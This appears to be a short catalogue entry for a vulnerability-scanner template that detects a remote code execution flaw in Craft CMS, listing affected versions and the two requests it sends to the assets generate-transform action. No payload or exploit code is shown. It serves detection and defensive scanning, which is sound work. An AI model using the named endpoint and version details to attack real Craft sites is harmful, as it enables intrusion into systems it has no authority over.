Craftcms - Code Injection

Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /index.php?p=admin/actions/assets/generate-transform, POST /index.php?p=admin/actions/assets/generate-transform); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
